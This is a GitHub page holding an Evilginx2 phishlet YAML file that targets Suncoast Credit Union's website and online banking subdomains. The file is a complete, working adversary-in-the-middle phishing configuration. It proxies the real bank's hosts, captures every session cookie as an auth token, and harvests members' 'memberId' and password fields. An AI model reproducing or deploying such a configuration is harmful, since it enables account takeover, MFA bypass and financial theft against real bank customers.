forked from An0nUD4Y/Evilginx2-Phishlets
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsununion.yaml
57 lines (51 loc) · 6.25 KB
/
sununion.yaml
1
author: '@an0nud4y'min_ver: '2.3.0'proxy_hosts: - {phish_sub: 'www', orig_sub: 'www', domain: 'suncoastcreditunion.com', session: true, is_landing: true} - {phish_sub: '', orig_sub: '', domain: 'suncoastcreditunion.com', session: true, is_landing: false} - {phish_sub: 'banking', orig_sub: 'banking', domain: 'suncoastcreditunion.com', session: true, is_landing: false} sub_filters: - {triggers_on: 'www.suncoastcreditunion.com', orig_sub: '', domain: 'suncoastcreditunion.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'www.suncoastcreditunion.com', orig_sub: '', domain: 'suncoastcreditunion.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'www.suncoastcreditunion.com', orig_sub: '', domain: 'suncoastcreditunion.com', search: 'https%3A%2F%2F{hostname}', replace: 'https%3A%2F%2F{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'www.suncoastcreditunion.com', orig_sub: 'www', domain: 'suncoastcreditunion.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'www.suncoastcreditunion.com', orig_sub: 'www', domain: 'suncoastcreditunion.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'www.suncoastcreditunion.com', orig_sub: 'www', domain: 'suncoastcreditunion.com', search: 'https%3A%2F%2F{hostname}', replace: 'https%3A%2F%2F{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'www.suncoastcreditunion.com', orig_sub: 'banking', domain: 'suncoastcreditunion.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'www.suncoastcreditunion.com', orig_sub: 'banking', domain: 'suncoastcreditunion.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'www.suncoastcreditunion.com', orig_sub: 'banking', domain: 'suncoastcreditunion.com', search: 'https%3A%2F%2F{hostname}', replace: 'https%3A%2F%2F{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'banking.suncoastcreditunion.com', orig_sub: '', domain: 'suncoastcreditunion.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'banking.suncoastcreditunion.com', orig_sub: '', domain: 'suncoastcreditunion.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'banking.suncoastcreditunion.com', orig_sub: '', domain: 'suncoastcreditunion.com', search: 'https%3A%2F%2F{hostname}', replace: 'https%3A%2F%2F{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'banking.suncoastcreditunion.com', orig_sub: 'www', domain: 'suncoastcreditunion.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'banking.suncoastcreditunion.com', orig_sub: 'www', domain: 'suncoastcreditunion.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'banking.suncoastcreditunion.com', orig_sub: 'www', domain: 'suncoastcreditunion.com', search: 'https%3A%2F%2F{hostname}', replace: 'https%3A%2F%2F{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'banking.suncoastcreditunion.com', orig_sub: 'banking', domain: 'suncoastcreditunion.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'banking.suncoastcreditunion.com', orig_sub: 'banking', domain: 'suncoastcreditunion.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} - {triggers_on: 'banking.suncoastcreditunion.com', orig_sub: 'banking', domain: 'suncoastcreditunion.com', search: 'https%3A%2F%2F{hostname}', replace: 'https%3A%2F%2F{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} auth_tokens: - domain: '.suncoastcreditunion.com' keys: ['.*,regexp'] - domain: 'banking.suncoastcreditunion.com' keys: ['.*,regexp'] - domain: '.banking.suncoastcreditunion.com' keys: ['.*,regexp'] - domain: 'suncoastcreditunion.com' keys: ['.*,regexp'] - domain: 'www.suncoastcreditunion.com' keys: ['.*,regexp'] auth_urls: - '/*' - '/' credentials: username: key: 'memberId' search: '(.*)' type: 'post' password: key: 'password' search: '(.*)' type: 'post'login: domain: 'www.suncoastcreditunion.com' path: '/'